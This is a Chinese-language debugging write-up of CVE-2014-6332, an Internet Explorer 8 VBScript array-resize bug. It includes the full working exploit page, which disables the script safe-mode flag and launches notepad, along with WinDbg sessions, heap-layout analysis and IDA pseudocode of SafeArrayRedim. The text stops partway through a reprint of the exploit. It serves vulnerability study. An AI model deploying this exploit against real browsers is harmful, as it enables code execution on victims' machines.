CVE-2014-6332调试

调试环境: Win7SP1x32+IE8

一. POC

先给出完整POC,如果exploit成功,则会产出notepad

<!DOCTYPE html>
<html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8">
<body>
  CVE-2014-6332 exploit by yuange.
<SCRIPT LANGUAGE="VBScript">
function Runmumaa()
  On Error Resume Next
  set shell=createobject("Shell.Application")
  shell.ShellExecute "notepad.exe"
end function
</script>

<SCRIPT LANGUAGE="VBScript">
dim aa()
dim ab()
dim a0
dim a1
dim a2
dim a3
dim intVersion
dim myarray

Begin()

function Begin()
  On Error Resume Next
  info=Navigator.UserAgent

  if (instr(info,"Win64")>0) then
    exit function
  end if
  if (instr(info,"MSIE")>0) then
    intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))
  else
    exit function
  end if

  BeginInit()
  if Create()=True then
    myarray=chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
    myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(00)
    Setnotsafemode()
  end if
end function

function BeginInit()
  Randomize()
  redim aa(5)
  redim ab(5)
  a0=13+17*rnd(6)
  a3=7+3*rnd(5)
end function

function Create()
  On Error Resume Next
  dim i
  Create=False
  for i = 0 to 400
    if Over()=True then
      Create=True
      exit for
    end if
  next
end function

sub testaa()
end sub

function Mydata()
  On Error Resume Next
  i=testaa
  i=null

  redim Preserve aa(a2)
  ab(0)=0
  aa(a1)=i
  ab(0)=6.36598737437801E-314
  aa(a1+2)=myarray
  ab(2)=1.74088534731324E-310
  Mydata=aa(a1)
  redim Preserve aa(a0)
end function

function Setnotsafemode()
  On Error Resume Next
  i=Mydata()
  i=ReadMemo(i+8)
  i=ReadMemo(i+16)  

  for k=0 to &h60 step 4
    j=ReadMemo(i+&h120+k)
    if (j=14) then
      redim Preserve aa(a2)
      aa(a1+2)(i+&h11c+k)=ab(4)
      redim Preserve aa(a0)
      exit for
    end if
  next

  ab(2)=1.69759663316747E-313
  Runmumaa()
end function

function Over()
  On Error Resume Next
  dim type1
  Over=False
  a0=a0+a3
  a1=a0+2
  a2=a0+&h8000000
  redim Preserve aa(a0)
  redim ab(a0)

  redim Preserve aa(a2)
  type1=1
  ab(0)=1.012345678901234567890123456789
  aa(a0)=10

  if (IsObject(aa(a1-1)) = False) then
    if (VarType(aa(a1-1))<>0) then
      if (IsObject(aa(a1)) = False) then
        type1=VarType(aa(a1))
      end if
    end if
  end if
  if (type1=&h0b24) then
    Over=True
  end if
  redim Preserve aa(a0)
end function

function ReadMemo(add)
  On Error Resume Next
  redim Preserve aa(a2)
  ab(0)=0
  aa(a1)=add+4
  ab(0)=1.69759663316747E-313
  ReadMemo=lenb(aa(a1))
  ab(0)=0
  redim Preserve aa(a0)
end function
</script>
</body>
</html>

二. GodMode 模式

VBScript在IE浏览器中的权限很低,正常情况下如下代码是无法弹出计算器的,此受限模式是通过SafeMode标识来控制的。

IE通过COleScript::InSafeMode(void)来检查程序是否运行在SafeMode下,此标识的默认值是0xE。此CVE正是通过修改SafeMode标识升级为GodMode,从而为所欲为。

<html>
    <script LANGUAGE="VBScript">
        function runmumaa()
            On Error Resume Next
            set shell=createobject("Shell.Application")
            shell.ShellExecute "calc.exe"
        end function
        runmumaa()
    </script>
<html>

通过IDA可以查看COleScript::InSafeMode(void)的逻辑如下:

使用Windbg调试,断点:bu vbscript!COleScript::InSafeMode

0:005> dd ecx+174 L1
0049fbb4  0000000e
0:005> ln poi(ecx)
(67ee4868)   vbscript!COleScript::`vftable‘   |  (67effdbc)   vbscript!`string‘
Exact matches:
    vbscript!COleScript::`vftable‘ = <no type information>         

以上可以得出两点信息:1) SafeMode标识此时为0xE; 2) SafeMode标识存放在 vbscript!COleScript对象偏移0x174处

手动更改SafeMode标识为0x0, Disable 断点,弹出计算器成功!

0:005> eb ecx+174 0
0:005> dd ecx+174 L1
0049fbb4  00000000
0:005> bd *
0:005> g
ModLoad: 71220000 71223000   C:\Windows\system32\sfc.dll
ModLoad: 71210000 7121d000   C:\Windows\system32\sfc_os.DLL
(794.820): Break instruction exception - code 80000003 (first chance)
eax=7ffd8000 ebx=00000000 ecx=00000000 edx=77dcf125 esi=00000000 edi=00000000
eip=77d640f0 esp=05e3f9f8 ebp=05e3fa24 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!DbgBreakPoint:
77d640f0 cc              int     3

三. 变量结构

修改SafeMode标识后可以为所欲为,那么如何达到这一目标呢? 先来了解下VBS变量、数组的结构,这是后面exploit的基础。

这里我们反复会用到一个调试技巧,即IsEmpty函数,通过它我们来观察变量,IsEmpty第一个参数即为code中传入的变量。设断点:bu vbscript!VbsIsEmpty

<html>
    <script LANGUAGE="VBScript">
        On Error Resume Next
        dim int1, str1, f1
        dim arr1(6)
        int1 = &h11223344
        IsEmpty(int1)

        str1 = "AABBCCDD"
        IsEmpty(str1)

        f1 = 1.123456789012345678901234567890
        IsEmpty(f1)

        arr1(0) = &h11223344
        arr1(1) = "AABBCCDD"
        IsEmpty(arr1)

    </script>
<html>
0:005> dd poi(esp+c) L4
012b5cf8  00000003 00000000 11223344 00000000  --> 0003是VarType, 这里是Long Integer; 000000000000是保留字段;11223344正好对应int1的内容

参考文献[2]中给出了一张图,描述了 VARIANT的结构,如下所示,我们进一步看看其他变量类型。

详细的VarType取值可以参考 https://msdn.microsoft.com/en-us/library/aa263402(v=vs.60).aspx

但MSDN并没有列出所有的情况,多一些的可以参考 http://www.secniu.com/how-to-use-vbscript-to-turn-on-the-god-mode/

0:005> g
Breakpoint 0 hit
eax=6bde185c ebx=0204d02c ecx=6be3a9d8 edx=0204cfa4 esi=0176551c edi=00000001
eip=6bdfc206 esp=0204cec0 ebp=0204ced0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!VbsIsEmpty:
6bdfc206 8bff            mov     edi,edi
0:005> dd poi(esp+c) L4
017635c0  0000004a 00000000 01765ef0 00000000
0:005> dd 01765ef0
01765ef0  00000008 00000000 0051fae4 00000000  --> 0008 vbString类型,对应str1
01765f00  00000000 00000000 38934f9e 0002ed9c
01765f10  01763648 003cffd8 00000000 00000000
01765f20  00000000 00000000 00000000 00000000
01765f30  00000000 00000000 00000000 00000000
01765f40  00000000 00000000 00000000 00000000
01765f50  00000000 00000000 00000000 00000000
01765f60  00000000 00000000 00000000 00000000
0:005> dU 0051fae4
0051fae4  "AABBCCDD"
0:005> g
Breakpoint 0 hit
eax=6bde185c ebx=0204d02c ecx=6be3a9d8 edx=0204cfa4 esi=0176551c edi=00000001
eip=6bdfc206 esp=0204cec0 ebp=0204ced0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!VbsIsEmpty:
6bdfc206 8bff            mov     edi,edi
0:005> dd poi(esp+c) L4
017635c0  00000005 00000000 d3746f66 3ff1f9ad ---> 0005 vbDouble类型, 对应f1
0:005> dD 017635c0+8 L1
017635c8           1.12345678901

再看看SafeArray的结构

0:005> g
Breakpoint 0 hit
eax=6bde185c ebx=0204d02c ecx=6be3a9d8 edx=0204cfa4 esi=0176551c edi=00000001
eip=6bdfc206 esp=0204cec0 ebp=0204ced0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!VbsIsEmpty:
6bdfc206 8bff            mov     edi,edi
0:005> dd poi(esp+c)
017635c0  003c600c 00000000 017659e0 00505668
017635d0  0000400c 00000000 017659d4 00000000
017635e0  0000400c 00000000 003cfe4c 00000000
017635f0  0000400c 00000000 003cfe10 00000000
01763600  0000400c 00000000 003cfdd4 00000000
01763610  00000000 00000000 00000000 00000000
01763620  00000000 00000000 00000000 00000000
01763630  00000000 00000000 00000000 00000000
0:005> dd 00505668
00505668  08920001 00000010 00000000 004d5748 --> 00505668开始的0x18个字节就是SafeArray: 0001表示数组是1维;004d5748是数据buffer,真正放内容的地方;
00505678  00000007 00000000 43303c93 8c005496 --> 00000007表示第一维元素个数;00000000表示第一维起始下标
00505688  00000000 fa445657 00140004 005056b8
00505698  fa445657 11d69379 06001ab4 53ee835b
005056a8  00000000 00000000 43303c95 88000892
005056b8  76542778 76546674 765467c8 00000001
005056c8  fa445657 11d69379 06001ab4 53ee835b
005056d8  00000000 00000001 43303c9f 8800218c
0:005> dd 004d5748
004d5748  00000003 00000000 11223344 3ff1f9ad --> 可以看到熟悉的VARIANT结构
004d5758  00000008 00000000 0051fae4 0204cfd4
004d5768  00000000 00000000 00000000 00000000
004d5778  00000000 00000000 00000000 00000000
004d5788  00000000 00000000 00000000 00000000
004d5798  00000000 00000000 00000000 00000000
004d57a8  00000000 00000000 00000000 00000000
004d57b8  433390f4 8000006c 00b1005c 00000000

  

四. Get ColeCscript Objet

了解完基本变量结构后,我们回到SafeMode标识的问题。通过第二部分,我们知道SafeMode标识存放在 vbscript!COleScript对象偏移0x174处。 那如何得到一个 vbscript!COleScript对象呢?

<html>
    <script LANGUAGE="VBScript">
        On Error Resume Next  

        sub testaa()
        end sub

        dim i
        IsEmpty("Try to get ColeCscript")
        i = testaa
        i = null
        IsEmpty(i)

    </script>
<html>        

这里插入一个求值栈的概念,VBScript中,像赋值、求值操作,都会用一个求值栈来保存中间变量及临时结果。

如上面的 "Try to get ColeCscript",就是先保存为一个中间vbstring变量给IsEmpty()函数; 对i的赋值也是先对求值栈中的variant操作,最后赋值给i。每次调试时,求值栈的地址是固定的(这一点可以从上面的调试过程中看出)。

0:018> g
ModLoad: 6a880000 6a8eb000   C:\Windows\system32\vbscript.dll
Breakpoint 0 hit
eax=6a88185c ebx=01d8d4e4 ecx=6a8da9d8 edx=01d8d45c esi=01f7559c edi=00000001
eip=6a89c206 esp=01d8d378 ebp=01d8d388 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!VbsIsEmpty:
6a89c206 8bff            mov     edi,edi
0:005> dd poi(esp+c)
01f75ec0  00000008 00000000 01f75564 00000000 --> 01f75ec0即为求值栈的地址
01f75ed0  0000400c 00000000 0029fdc4 00000000
01f75ee0  00000000 00000000 00000000 00000000
01f75ef0  00000000 00000000 00000000 00000000
01f75f00  00000000 00000000 00000000 00000000
01f75f10  7ef1abcb 00029fa0 01f73058 0029ffb8
01f75f20  00000000 00000000 00000000 00000000
01f75f30  00000000 00000000 00000000 00000000
0:005> du 01f75564
01f75564  "Try to get ColeCscript"
0:005> ba w4 01f75ec0+8                      --> 下硬件断点,当Variant的Data内容被改变时断下
0:005> g
Breakpoint 1 hit
eax=00000000 ebx=01d8d514 ecx=01f72010 edx=01f7554c esi=0029fd90 edi=01f75ecc
eip=6a882b26 esp=01d8d33c ebp=01d8d344 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
vbscript!NameTbl::GetAdrCore+0x2d:
6a882b26 a5              movs    dword ptr es:[edi],dword ptr [esi] es:0023:01f75ecc=00000000 ds:0023:0029fd90=0b00000b
0:005> dd 01f75ec0 L4
01f75ec0  0000004c 00000080 0029ff90 00000000 -->VarType是004c,标识VT_FUNC,0029ff90是一个vbscript!CScriptEntryPoint对象地址
0:005> ln poi(0029ff90)
(6a884934)   vbscript!CScriptEntryPoint::`vftable‘   |  (6a89ab54)   vbscript!CEntryPointDispatch::`vftable‘
Exact matches:
    vbscript!CScriptEntryPoint::`vftable‘ = <no type information>
0:005> bc 1
0:005> g
Breakpoint 0 hit
eax=6a88185c ebx=01d8d4e4 ecx=6a8da9d8 edx=01d8d45c esi=01f7559c edi=00000001
eip=6a89c206 esp=01d8d378 ebp=01d8d388 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!VbsIsEmpty:
6a89c206 8bff            mov     edi,edi
0:005> dd 01f75ec0 L4
01f75ec0  00000001 00000080 0029ff90 0b00000b --> 最终i的类型为0001(Null),数据区域是vbscript!CScriptEntryPoint对象地址
0:005> ln poi(0029ff90)
(6a884934)   vbscript!CScriptEntryPoint::`vftable‘   |  (6a89ab54)   vbscript!CEntryPointDispatch::`vftable‘
Exact matches:
    vbscript!CScriptEntryPoint::`vftable‘ = <no type information>
0:005> dd 0029ff90
0029ff90  6a884934 00000001 0029ff20 01f75508
0029ffa0  01f75878 00000000 0029ff20 0029fb68
0029ffb0  62f1abd7 00009f69 01f75f18 002900c4
0029ffc0  0029ebb8 00292f00 00000000 00000000
0029ffd0  00000000 00000000 00000000 00000000
0029ffe0  61f0abd5 03009f6a 00000000 00000000
0029fff0  00290038 00290038 002a0000 00000000
002a0000  f95543e7 0100306d ffeeffee 00000000
0:005> dd 0029ff20
0029ff20  00000005 00000000 00000000 00000000 --> 查看CScriptEntryPoint对象偏移8字节处地址的内容
0029ff30  0029f8a0 00000000 0029fa78 00292f00
0029ff40  01f75508 01f75508 66f0abd2 0c009f6a
0029ff50  00000008 00000000 0029ff20 00000021
0029ff60  60f0abd4 08009f6f 6a884934 00000002
0029ff70  0029ff20 01f75508 01f75804 00000000
0029ff80  0029ff20 0029fb68 60f0abd4 08009f69
0029ff90  6a884934 00000001 0029ff20 01f75508
0:005> ln poi(0029f8a0)
(6a884868)   vbscript!COleScript::`vftable‘   |  (6a89fdbc)   vbscript!`string‘  --> 该地址偏移0x10字节,就是一个ColeScript对象
Exact matches:
    vbscript!COleScript::`vftable‘ = <no type information>
0:005> dd 0029f8a0+174 L4
0029fa14  0000000e 00000000 00000000 00000000  --> ColeScript对象偏移0x174字节,就是SafeMode标识。所以通过CSriptEntryPoint就可以关联到ColeScript对象

通过调试过程,我们再来理解下上面的html code。

1) 当用函数地址testaa对i赋值时,求值栈更新了VarType和Data, 但却不会赋值给i,求值栈内容还保留

2)下一步用null对i赋值时,只更新了求值栈中的VarType,并不需要取Data。从而把VarType=Null, Data为CSriptEntryPoint对象地址的VARIANT给了i。

五. SafeArrayRedim

接下来就真正是漏洞所在的部分了

<html>
    <SCRIPT LANGUAGE="VBScript">
        On Error Resume Next
        dim aa()
        redim aa(5)
        aa(0) = &h11223344
        aa(1) = &h11223344
        IsEmpty(aa)

        redim Preserve aa(5+&h8000000)
        IsEmpty(aa)

    </script>
<html>        
0:018> g
ModLoad: 6bdf0000 6be5b000   C:\Windows\system32\vbscript.dll
Breakpoint 0 hit
eax=6bdf185c ebx=0209d584 ecx=6be4a9d8 edx=0209d4fc esi=00b56500 edi=00000001
eip=6be0c206 esp=0209d418 ebp=0209d428 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!VbsIsEmpty:
6be0c206 8bff            mov     edi,edi
0:005> dd poi(poi(esp+c)+c)
004c8388  08800001 00000010 00000000 004fa2a0 --> Array的数据放在004fa2a0处,数组长度是00000006
004c8398  00000006 00000000 6df39936 8c000000
004c83a8  03bf0ac4 03bf0ac0 004cdc40 6a43eee1
004c83b8  6a4230da 0000005c 00000058 00000008
004c83c8  00000001 00000000 6df39938 88000000
004c83d8  6a76bdc8 00000000 6a405d74 004b8088
004c83e8  6a405b60 00000000 00000000 00000000
004c83f8  03000004 00000000 6df399c2 80000000
0:005> g
Breakpoint 0 hit
eax=6bdf185c ebx=0209d584 ecx=6be4a9d8 edx=0209d4fc esi=00b56500 edi=00000001
eip=6be0c206 esp=0209d418 ebp=0209d428 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!VbsIsEmpty:
6be0c206 8bff            mov     edi,edi
0:005> dd poi(poi(esp+c)+c)
004c8388  08800001 00000010 00000000 004fa2a0 --> Array的数据仍放在004fa2a0处,但数组长度却变成了08000006。一个VARIANT 0x10字节,因此数组占0x80000060字节
004c8398  08000006 00000000 6df39936 8c000000 --> 一个VARIANT 0x10字节,因此Array数据buffer占0x80000060字节,32位进程用户最大寻址空间也只到0x7fffffff字节。而且buffer地址没有变,猜测在Redim的时候,只改变了大小,并没有重新分配空间。
004c83a8  03bf0ac4 03bf0ac0 004cdc40 6a43eee1
004c83b8  6a4230da 0000005c 00000058 00000008
004c83c8  00000001 00000000 6df39938 88000000
004c83d8  6a76bdc8 00000000 6a405d74 004b8088
004c83e8  6a405b60 00000000 00000000 00000000
004c83f8  03000004 00000000 6df399c2 80000000

通过以上分析,我们来看看VBScript的Redim到底发生了什么吧。

0:005> x *!*redim*
6be05891 vbscript!RedimPreserveArray = <no type information>
6d2f114b IEFRAME!CSharedImageList<42514>::GetToolbar = <no type information>
6d071d90 IEFRAME!_imp__SafeArrayRedim = <no type information>
6d1f5c50 IEFRAME!CSharedImageList<42514>::`vftable‘ = <no type information>
6d2f0488 IEFRAME!CSharedImageList<634>::`vector deleting destructor‘ = <no type information>
6d1f5c64 IEFRAME!CSharedImageList<42497>::`vftable‘ = <no type information>
6d1f5c6c IEFRAME!CSharedImageList<42498>::`vftable‘ = <no type information>
6d1f5c68 IEFRAME!CSharedImageList<42496>::`vftable‘ = <no type information>
6d2f0a21 IEFRAME!CSharedImageList<700>::CSharedImageList<700> = <no type information>
6d1f5c54 IEFRAME!CSharedImageList<635>::`vftable‘ = <no type information>
6d1f5c58 IEFRAME!CSharedImageList<700>::`vftable‘ = <no type information>
6d2f0488 IEFRAME!CSharedImageList<634>::`scalar deleting destructor‘ = <no type information>
6d1f5c60 IEFRAME!CSharedImageList<636>::`vftable‘ = <no type information>
6d2f128f IEFRAME!CSharedImageList<42498>::GetSimple = <no type information>
6d2f0b0f IEFRAME!CSharedImageList<635>::`scalar deleting destructor‘ = <no type information>
6d2f0ae9 IEFRAME!CSharedImageList<700>::`scalar deleting destructor‘ = <no type information>
6d2f110b IEFRAME!CSharedImageList<700>::GetToolbar = <no type information>
6d2f1227 IEFRAME!CSharedImageList<42497>::GetSimple = <no type information>
6d2f0b35 IEFRAME!CSharedImageList<636>::`scalar deleting destructor‘ = <no type information>
6d1f5c5c IEFRAME!CSharedImageList<634>::`vftable‘ = <no type information>
6d2f0a6c IEFRAME!CSharedImageList<634>::CSharedImageList<634> = <no type information>
6d2f125b IEFRAME!CSharedImageList<42496>::GetSimple = <no type information>
6d2f0b0f IEFRAME!CSharedImageList<635>::`vector deleting destructor‘ = <no type information>
6d2f0a85 IEFRAME!CSharedImageList<636>::CSharedImageList<636> = <no type information>
6d2f0a53 IEFRAME!CSharedImageList<635>::CSharedImageList<635> = <no type information>
6d2f0ae9 IEFRAME!CSharedImageList<700>::`vector deleting destructor‘ = <no type information>
6d2f0b35 IEFRAME!CSharedImageList<636>::`vector deleting destructor‘ = <no type information>
6d2f04d4 IEFRAME!CSharedImageList<42496>::`scalar deleting destructor‘ = <no type information>
6d2f0b5b IEFRAME!CSharedImageList<42498>::`scalar deleting destructor‘ = <no type information>
6d2f04ae IEFRAME!CSharedImageList<42497>::`scalar deleting destructor‘ = <no type information>
6d2f0462 IEFRAME!CSharedImageList<42514>::`vector deleting destructor‘ = <no type information>
6d2f04d4 IEFRAME!CSharedImageList<42496>::`vector deleting destructor‘ = <no type information>
6d2f0b5b IEFRAME!CSharedImageList<42498>::`vector deleting destructor‘ = <no type information>
6d2f04ae IEFRAME!CSharedImageList<42497>::`vector deleting destructor‘ = <no type information>
6d2f0462 IEFRAME!CSharedImageList<42514>::`scalar deleting destructor‘ = <no type information>
6d2f0a9e IEFRAME!CSharedImageList<42497>::CSharedImageList<42497> = <no type information>
6d2f0ad0 IEFRAME!CSharedImageList<42498>::CSharedImageList<42498> = <no type information>
6d2f0a3a IEFRAME!CSharedImageList<42514>::CSharedImageList<42514> = <no type information>
6d2f11f3 IEFRAME!CSharedImageList<636>::GetSimple = <no type information>
6d2f118b IEFRAME!CSharedImageList<635>::GetSimple = <no type information>
6d2f0ab7 IEFRAME!CSharedImageList<42496>::CSharedImageList<42496> = <no type information>
6d2f11bf IEFRAME!CSharedImageList<634>::GetSimple = <no type information>
74477c21 comctl32!CToolbar::_AddCenteredImagelistToImageList = <no type information>
7670ec2c OLEAUT32!SafeArrayRedim = <no type information>
76bf4668 SHELL32!ImageList_LoadMirroredImage = <no type information>

通过查找符号表,和redim相关的函数有两个: vbscript!RedimPreserveArray  和  OLEAUT32!SafeArrayRedim

不过进一步发现 vbscript!RedimPreserveArray最终会调用 OLEAUT32!SafeArrayRedim,在调用 OLEAUT32!SafeArrayRedim之前,数组的长度并没有变成 0x08000006。所以不出意外,问题就是出现在OLEAUT32!SafeArrayRedim中了。

上IDA!!!  函数太长,看汇编跪了,先看得伪代码。

HRESULT __stdcall SafeArrayRedim(SAFEARRAY *psa, SAFEARRAYBOUND *psaboundNew)
{
  SAFEARRAY *v2; // [email protected]
  USHORT v3; // [email protected]
  __int32 v4; // [email protected]
  signed int v5; // [email protected]
  ULONG v6; // [email protected]
  LONG v7; // [email protected]
  unsigned int v8; // [email protected]
  struct IMalloc *v9; // [email protected]
  SAFEARRAY *v10; // [email protected]
  int v11; // [email protected]
  SAFEARRAYBOUND *v13; // [email protected]
  ULONG v14; // [sp+Ch] [bp-18h]@9
  LONG v15; // [sp+10h] [bp-14h]@9
  struct IMalloc *v16; // [sp+14h] [bp-10h]@6
  int v17; // [sp+18h] [bp-Ch]@3
  unsigned int v18; // [sp+1Ch] [bp-8h]@9
  size_t Size; // [sp+20h] [bp-4h]@7
  SAFEARRAY *psaa; // [sp+2Ch] [bp+8h]@6
  SAFEARRAYBOUND *psaboundNewa; // [sp+30h] [bp+Ch]@38

  v2 = psa;
  if ( psa )
  {
    if ( psaboundNew )
    {
      v3 = psa->fFeatures;
      v17 = psa->fFeatures & 0x2000;
      if ( psa->cDims )
      {
        if ( psa->cLocks > 0 || v3 & 0x10 )
          return -2147352563;
        psaa = 0;
        v16 = 0;
        v4 = GetMalloc(&v16);
        v5 = v4;
        if ( v4 && v4 < 0 )
          return v5;
        Size = SafeArraySize(v2);              --> 得到原始数组size
        if ( !Size || v2->pvData )
        {
          v6 = v2->rgsabound[0].cElements;    --> 保存原始数组长度
          v7 = v2->rgsabound[0].lLbound;      -->保存原始数组起始下标
          v2->rgsabound[0] = *psaboundNew;    -->(!!!)将数组长度更改为新的值,在还未申请内存前
          v14 = v6;
          v15 = v7;
          v8 = SafeArraySize(v2);            --> 得到新数组长度
          v18 = v8;
          if ( v8 == -1 )
          {
            v2->rgsabound[0].cElements = v6;
            v2->rgsabound[0].lLbound = v7;
            v5 = -2147024882;
          }
          else
          {
            v5 = v8 - Size;                --> 0x80000060-0x00000060=0x80000000
            if ( v8 != Size )
            {
              v9 = v16;
              if ( v5 < 0 && v2->fFeatures & 0xF20 )  --> 这里使用了jge指令,相当于按有符号数比较,但数组长度其实是ULONG类型。从而进入了v5<0的分支
              {
                if ( v17 )
                {
                  psaa = (SAFEARRAY *)((char *)v2->pvData + v8);
                }
                else
                {
                  v10 = (SAFEARRAY *)v16->lpVtbl->Alloc(v16, -v5);  --> 重新申请内存
                  psaa = v10;
                  if ( !v10 )                                       --> 申请失败,跳转到LABEL_32
                    goto LABEL_32;
                  memcpy(v10, (char *)v2->pvData + v18, -v5);
                  v8 = v18;
                }
              }
              if ( v17 )
              {
                if ( v8 <= Size )
                  goto LABEL_19;
                v13 = (SAFEARRAYBOUND *)v9->lpVtbl->Alloc(v9, v8);
                psaboundNewa = v13;
                if ( v13 )
                {
                  memcpy(v13, v2->pvData, Size);
                  v2->pvData = psaboundNewa;
                  v2->fFeatures &= 0xDFFFu;
                  goto LABEL_19;
                }
              }
              else
              {
                v11 = (int)v9->lpVtbl->Realloc(v9, v2->pvData, v8);
                if ( v11 )
                {
LABEL_18:
                  v2->pvData = (PVOID)v11;
LABEL_19:
                  if ( v5 >= 0 )
                  {
                    memset((char *)v2->pvData + Size, 0, v5);
                  }
                  else
                  {
                    if ( psaa )
                      ReleaseResources(v2, (VARIANTARG *)psaa, -v5, v2->fFeatures, v2->cbElements);
                    if ( v17 )
                      psaa = 0;
                  }
                  v5 = 0;
                  goto LABEL_25;
                }
                if ( !v18 )
                {
                  v11 = (int)v9->lpVtbl->Alloc(v9, 0);
                  goto LABEL_18;
                }
              }
              v2->rgsabound[0].cElements = v14;
              v2->rgsabound[0].lLbound = v15;
LABEL_32:
              v5 = -2147024882;                       --> v5=0x8007000E
LABEL_25:
              if ( psaa )
                v9->lpVtbl->Free(v9, psaa);
              return v5;                             --> 返回0x8007000E
            }
          }
          return v5;
        }
      }
    }
  }
  return -2147024809;
}

可以设断点跟一下上述过程,这里就不详细展开了。当数组索引越界,后面就简单了。

六、Array Overlap

了解了漏洞原理之后,现在到了最奇妙的构造内存布局的过程了。

<!DOCTYPE html>
<html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8">
<body>
  CVE-2014-6332 exploit by yuange.

<SCRIPT LANGUAGE="VBScript">
dim aa()
dim ab()
dim a0
dim a1
dim a2
dim a3
dim intVersion
dim myarray

Begin()

function Begin()
  On Error Resume Next
  BeginInit()
  if Create()=True then
  end if
end function

function BeginInit()
  Randomize()
  redim aa(5)
  redim ab(5)
  a0=13+17*rnd(6)
  a3=7+3*rnd(5)
end function

function Create()
  On Error Resume Next
  dim i
  Create=False
  for i = 0 to 400
    if Over()=True then
      Create=True
      exit for
    end if
  next
end function

function Over()
  On Error Resume Next
  dim type1
  Over=False
  a0=a0+a3
  a1=a0+2
  a2=a0+&h8000000
  redim Preserve aa(a0)
  redim ab(a0)

  redim Preserve aa(a2)
  type1=1
  ab(0)=1.012345678901234567890123456789
  aa(a0)= 10

  if (IsObject(aa(a1-1)) = False) then
    if (VarType(aa(a1-1))<>0) then
      if (IsObject(aa(a1)) = False) then
        type1=VarType(aa(a1))
      end if
    end if
  end if
  if (type1=&h0b24) then
    IsEmpty(aa)
    IsEmpty(ab)
    Over=True
  end if
  redim Preserve aa(a0)
end function

</script>
</body>
</html>

循环申请堆空间,期望的内存布局如下(图源于参考文献[2]):

0:011> g
ModLoad: 6c9e0000 6ca4b000   C:\Windows\system32\vbscript.dll
Breakpoint 0 hit
eax=6c9e185c ebx=01ecc8b0 ecx=6ca3a9d8 edx=01ecc828 esi=01ee6604 edi=00000001
eip=6c9fc206 esp=01ecc744 ebp=01ecc754 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!VbsIsEmpty:
6c9fc206 8bff            mov     edi,edi
0:004> dd poi(poi(esp+c)+c)
0025e7d8  08800001 00000010 00000000 00262758
0025e7e8  0800001d 00000000 01f6c8cd 88002020
0025e7f8  69f82010 00000003 00000008 00000000
0025e808  00000000 00281068 00000052 80006200
0025e818  00000006 00238b88 01f6c937 80000d74
0025e828  6a380002 00000000 6a007be0 0022d4d0
0025e838  6a01e360 00000000 00000000 00000000
0025e848  02000008 6a01e200 01f6c939 80005220
0:004> g
Breakpoint 0 hit
eax=6c9e185c ebx=01ecc8b0 ecx=6ca3a9d8 edx=01ecc828 esi=01ee6604 edi=00000001
eip=6c9fc206 esp=01ecc744 ebp=01ecc754 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!VbsIsEmpty:
6c9fc206 8bff            mov     edi,edi
0:004> dd poi(poi(esp+c)+c)
0025e598  08800001 00000010 00000000 00262930
0025e5a8  0000001d 00000000 01f6c885 80007474
0025e5b8  6a380008 00000000 6a007be0 00253d70
0025e5c8  6a009e30 001e5010 69f85320 00000007
0025e5d8  00000003 00000000 01f6c88f 80003845
0025e5e8  6a380032 00000000 6a007be0 00253d70
0025e5f8  6a009ec4 001e5010 69f85320 00000007
0025e608  00000006 00000000 01f6c8f1 88000a0d

0:004> dD 00262938 l1
  00262938 1.0123456789

0:004> ?00262758+0x10*1d
Evaluate expression: 2500904 = 00262928
0:004> ?00262928+0x8
Evaluate expression: 2500912 = 00262930  --> 看,aa(a0)与ab(0)就差8个字节堆指针

程序是如何判断aa, ab符合这个结构的呢? 对 ab(0)=1.012345678901234567890123456789,aa(a1)的VarType刚好是0x0b24,以此为判断依据。

在这种情况下,aa与ab是错位重叠的,aa的数据区域是ab的VarType区域,ab的VarType正是aa的数据区域。 

          0:004> dd 00262930-0x18
aa(a0)    00262918  00000002 00000000 61f2000a 3ff03291
aa(a1-1)  00262928  2bb8897e 0800fe7b 00000005 00000000  ab(0)
aa(a1)    00262938  61f20b24 3ff03291 00000000 00000000  ab(1)
aa(a1+1)  00262948  00000000 00000000 00000000 00000000  ab(2)
aa(a1+2)  00262958  00000000 00000000 00000000 00000000  ab(3)
          00262968  00000000 00000000 00000000 00000000
          00262978  00000000 00000000 00000000 00000000
          00262988  00000000 00000000 00000000 00000000

          0:004> dD 00262938 l1
          00262938            1.0123456789

六、Change SafeMode

构造了以上精妙的内存布局后,就要开始更改SafeMode标识了,在poc代码中加入了很多IsEmpty,便于调试。当一个部分调试完之后,可以用注释掉相应的IsEmpty,免得中断多次windbg

<!DOCTYPE html>
<html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8">
<body>
  CVE-2014-6332 exploit by yuange.
<SCRIPT LANGUAGE="VBScript">
function Runmumaa()
  On Error Resume Next
  set shell=createobject("Shell.Application")
  shell.ShellExecute "notepad.exe"
end function
</script>

<SCRIPT LANGUAGE="VBScript">
dim aa()
dim ab()
dim a0
dim a1
dim a2
dim a3
dim intVersion
dim myarray

Begin()

function Begin()
  On Error Resume Next
  info=Navigator.UserAgent

